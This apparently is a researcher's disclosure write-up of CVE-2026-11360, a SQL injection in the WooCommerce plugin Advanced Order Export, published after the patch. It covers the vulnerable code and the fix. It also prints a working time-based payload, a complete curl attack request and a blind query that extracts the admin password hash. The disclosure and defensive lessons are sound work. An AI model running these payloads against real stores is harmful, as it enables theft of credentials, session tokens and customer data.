June 29, 2026
A Dropdown Value Is Still User Input: SQL Injection in WooCommerce’s Most Popular Order Export…
How a two-value dropdown toggle became a read-any-table SQL injection in a plugin on up to 500,000 stores
By Yaswanthrs
5 min read
How a two-value dropdown toggle became a read-any-table SQL injection in a plugin on up to 500,000 stores
CVE-2026–11360 | CWE-89: SQL Injection | CVSS 4.9 Medium Auth required: Shop Manager+ | Affected: <= 4.0.10 | Fixed: 4.1.0 Wordfence Advisory · NVD · CVE Record
WooCommerce powers over 6 million online stores. Advanced Order Export For WooCommerce (installed on 100,000 to 500,000 of them) is the de facto plugin for exporting order data to CSV, Excel, and PDF. Until version 4.1.0, any user with Shop Manager access could use the plugin's sort direction parameter to read any table in the WordPress database: admin password hashes, secret keys, active session tokens, and full customer PII, all from a single HTTP request.
This is the story of how I found it, and why it was sitting unnoticed next to the code that should have caught it.
The Asymmetry That Gave It Away
The sort direction parameter looks safe by design. It is a two-value toggle (ASC or DESC) rendered in the export settings UI as a dropdown. The implicit assumption developers make: the browser can only send what the server rendered, so the value is constrained.
That assumption is wrong. HTTP requests are crafted by the client, not by the UI.
I found this vulnerability on April 12, 2026, during a source-to-sink audit of the plugin. The starting point was CVE history: woo-order-export-lite had three prior CVEs, and prior findings existed in the ORDER BY query building code. That put the sort and ordering logic at the top of the review list. An area with a documented vulnerability history is worth auditing carefully: fixes in one parameter do not always extend to adjacent ones.
My focus was the order export engine, a large PHP class responsible for building the SQL query that powers exports. ORDER BY clauses are one of the most common injection points in WordPress plugins because column names and sort directions cannot be bound as query parameters. They require explicit whitelisting, and developers frequently forget.
When I reached validate_defaults(), a single contrast stopped me:
// sort: correctly protected with a whitelist
$settings['sort'] = ! in_array( $settings['sort'],
$isHPOSEnabled ? self::get_wc_orders_fields() : self::get_wp_posts_fields() ) ?
'ordermeta_cf_sort.meta_value' : $settings['sort'];
// sort_direction: only checks for empty. Nothing else.
if ( empty( $settings['sort_direction'] ) ) {
$settings['sort_direction'] = 'DESC';
}// sort: correctly protected with a whitelist
$settings['sort'] = ! in_array( $settings['sort'],
$isHPOSEnabled ? self::get_wc_orders_fields() : self::get_wp_posts_fields() ) ?
'ordermeta_cf_sort.meta_value' : $settings['sort'];
// sort_direction: only checks for empty. Nothing else.
if ( empty( $settings['sort_direction'] ) ) {
$settings['sort_direction'] = 'DESC';
}The sort parameter is validated against a whitelist of known column names. Unexpected values are replaced with a safe default. The sort_direction parameter, four lines below in the same function, only checks whether the value is empty. Any non-empty string passes through unchanged and lands directly in an ORDER BY clause.
Same feature. Same function. One defended, one not.
Source to Sink: The Attack in Full
The data flow from attacker input to SQL execution is direct:
$_POST['json']
-> json_decode()
-> $settings['sort_direction'] (no sanitization)
-> validate_defaults() (only checks empty)
-> build_file() / build_file_full()
-> ORDER BY concatenation
-> $wpdb->get_col($sql) (executed)$_POST['json']
-> json_decode()
-> $settings['sort_direction'] (no sanitization)
-> validate_defaults() (only checks empty)
-> build_file() / build_file_full()
-> ORDER BY concatenation
-> $wpdb->get_col($sql) (executed)The injection lands at three locations in class-wc-order-export-engine.php (lines 521, 527, and 639 in version 4.0.7, the version available at audit time), covering preview mode, partial export, and full export. All three concatenate sort_direction directly into SQL.
Here is what a legitimate request and an attack request look like side by side:
LEGITIMATE ATTACK
────────────────────────── ─────────────────────────────────────────────
sort_direction: "DESC" sort_direction: "DESC,(SELECT SLEEP(3))"
└── SQL appended here
Resulting query: Resulting query:
ORDER BY order_id DESC ORDER BY order_id DESC,(SELECT SLEEP(3))
└── executes on DB
Response: 112ms Response: 6,111msLEGITIMATE ATTACK
────────────────────────── ─────────────────────────────────────────────
sort_direction: "DESC" sort_direction: "DESC,(SELECT SLEEP(3))"
└── SQL appended here
Resulting query: Resulting query:
ORDER BY order_id DESC ORDER BY order_id DESC,(SELECT SLEEP(3))
└── executes on DB
Response: 112ms Response: 6,111msI confirmed this in an isolated Docker environment. Normal export: 112ms. With DESC,(SELECT SLEEP(3)) injected into sort_direction: 6,111ms.
The delay is worth explaining precisely. MySQL's filesort algorithm evaluates ORDER BY expressions independently for each row during the sort phase. Unlike a subquery in a WHERE clause (where the optimizer may cache a non-correlated result), a subquery used as a sort key is re-evaluated per row. With two rows in the result set, SLEEP(3) executes twice: 3s × 2 = 6s. Changing the result set size scales the delay proportionally, which is the cleanest confirmation that execution is actually happening per row and not once at the query level.
The full injected curl request:
curl -b "$SHOP_COOKIE" "$SITE/wp-admin/admin-ajax.php" \
--data-urlencode "action=order_exporter" \
--data-urlencode "method=preview" \
--data-urlencode "woe_nonce=$NONCE" \
--data-urlencode 'json={"settings":{"format":"CSV","sort":"order_id",
"sort_direction":"DESC,(SELECT SLEEP(3))","statuses":["wc-processing"],
"display_column_names":"1"},"orders":{"0":{"key":"order_number","checked":1}}}'
# Response: 6,111ms (injection confirmed)curl -b "$SHOP_COOKIE" "$SITE/wp-admin/admin-ajax.php" \
--data-urlencode "action=order_exporter" \
--data-urlencode "method=preview" \
--data-urlencode "woe_nonce=$NONCE" \
--data-urlencode 'json={"settings":{"format":"CSV","sort":"order_id",
"sort_direction":"DESC,(SELECT SLEEP(3))","statuses":["wc-processing"],
"display_column_names":"1"},"orders":{"0":{"key":"order_number","checked":1}}}'
# Response: 6,111ms (injection confirmed)What an Attacker Extracts
Time-based blind injection extracts data one character at a time using conditional timing:
-- "Is character N of the admin password hash equal to '$CHAR'?"
DESC,(SELECT IF(
SUBSTRING(user_pass, N, 1) = BINARY '$CHAR',
SLEEP(1),
0
) FROM wp_users WHERE ID=1)-- "Is character N of the admin password hash equal to '$CHAR'?"
DESC,(SELECT IF(
SUBSTRING(user_pass, N, 1) = BINARY '$CHAR',
SLEEP(1),
0
) FROM wp_users WHERE ID=1)~1100ms response = match. ~100ms = no match. I extracted the prefix of the admin password hash this way in the test environment, confirming the WordPress phpass format ($wp$2y$10$...) character by character.
The injection reaches any table the WordPress database user can read:
- wp_users: Admin password hashes. Crack offline and you have full site control.
- wp_options (auth_key, secure_auth_key): WordPress secret keys. With these, an attacker forges authentication cookies for any user account without knowing their password.
- wp_usermeta (session_tokens): Active session tokens for logged-in administrators. Direct account takeover while the admin is online.
- wp_postmeta (_billing_email, _billing_phone, _billing_address): Customer PII for every order. Name, email, phone, billing address. GDPR breach notification required.
- wp_woocommerce_api_keys: WooCommerce REST API credentials. Programmatic store access including order manipulation, product changes, and customer data export.
I also confirmed cross-table enumeration via information_schema, which can map the full database schema before targeting specific data.
CVSS 4.9 vs. Real Business Impact
The NVD published score is 4.9 Medium: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N.
The PR:H (high privilege required) component reflects the Shop Manager authentication requirement. In practice, Shop Manager accounts are routinely delegated to warehouse staff, fulfilment vendors, and third-party logistics providers, people with legitimate operational access who have no reason to hold read access to admin credentials or session tokens.
The S:U (no scope change) scoring is also conservative. The plugin's purpose is exporting WooCommerce order data. Via this injection, an attacker reads WordPress core authentication tables, secret keys, and any custom table in the database, data entirely outside the plugin's functional boundary.
CVSS communicates vulnerability characteristics, not business consequences. An exposed WordPress secret key means an attacker can forge authentication cookies for any user on the site. An exposed admin session token means full account takeover while the admin is actively logged in. Neither of those consequences maps to "medium severity" in any real-world risk conversation.
The Fix: Version 4.1.0
The remediation is a whitelist: the same approach that already protected sort, applied one function below where it was missing.
Before (vulnerable, all versions <= 4.0.10):
if ( empty( $settings['sort_direction'] ) ) {
$settings['sort_direction'] = 'DESC';
}
// sort_direction then concatenated directly into ORDER BYif ( empty( $settings['sort_direction'] ) ) {
$settings['sort_direction'] = 'DESC';
}
// sort_direction then concatenated directly into ORDER BYAfter (fixed in 4.1.0):
$allowed_directions = ['ASC', 'DESC'];
if ( empty( $settings['sort_direction'] ) ) {
$settings['sort_direction'] = 'DESC';
} else {
$direction = strtoupper( trim( $settings['sort_direction'] ) );
$settings['sort_direction'] = in_array( $direction, $allowed_directions )
? $direction
: 'DESC';
}$allowed_directions = ['ASC', 'DESC'];
if ( empty( $settings['sort_direction'] ) ) {
$settings['sort_direction'] = 'DESC';
} else {
$direction = strtoupper( trim( $settings['sort_direction'] ) );
$settings['sort_direction'] = in_array( $direction, $allowed_directions )
? $direction
: 'DESC';
}Any value that is not exactly ASC or DESC (case-insensitive, whitespace-trimmed) defaults to DESC. The injection surface collapses to zero.
If you are running Advanced Order Export For WooCommerce, update to 4.1.0 or later immediately.
Timeline
- April 12, 2026: Vulnerability discovered during source-to-sink code review
- April 12, 2026: SLEEP(3) injection confirmed, 112ms baseline vs 6,111ms injected
- April 12, 2026: Data extraction verified in Docker, admin hash prefix extracted
- April 12, 2026: Reported to Wordfence through their responsible disclosure program
- June 5, 2026: CVE-2026–11360 assigned by Wordfence
- June 18, 2026: Published to NVD
- June 2026: Patch released, Advanced Order Export For WooCommerce 4.1.0
What Should Have Caught This
1. If you whitelist one parameter in a function, whitelist all of them. sort was correctly defended. sort_direction was not. Inconsistent protection within a single function is a reliable indicator of oversight rather than design. A reviewer asking "why is this one handled differently from the one above it?" is the cheapest way to catch this class of bug before it ships.
2. Dropdowns do not sanitize data. They constrain the UI only. Any parameter that reaches a database query needs server-side validation, regardless of what the frontend renders. The browser is not a trust boundary.
3. ORDER BY cannot be protected with prepared statements. Whitelisting is the only correct solution. Column names and sort directions cannot be bound as query parameters in PDO or WordPress's $wpdb->prepare(). Only values can be parameterized. ORDER BY clauses always require explicit in_array() validation against a known-safe set. There is no shortcut.
CVE-2026–11360 was discovered and reported through the Wordfence responsible disclosure program. The vulnerability is patched in version 4.1.0. All technical details were verified in an isolated Docker test environment and are published after CVE assignment and patch availability.
References
- Wordfence Advisory: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woo-order-export-lite/advanced-order-export-for-woocommerce-4010-authenticated-shop-manager-sql-injection-via-sort-direction-parameter
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-11360
- CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-11360
- Plugin: https://wordpress.org/plugins/woo-order-export-lite/
Found and responsibly disclosed by Yaswanth Reddy Sunkara. M.Eng in Cybersecurity Engineering, University of Maryland, and listed on the Wordfence Vulnerability Intelligence researcher page.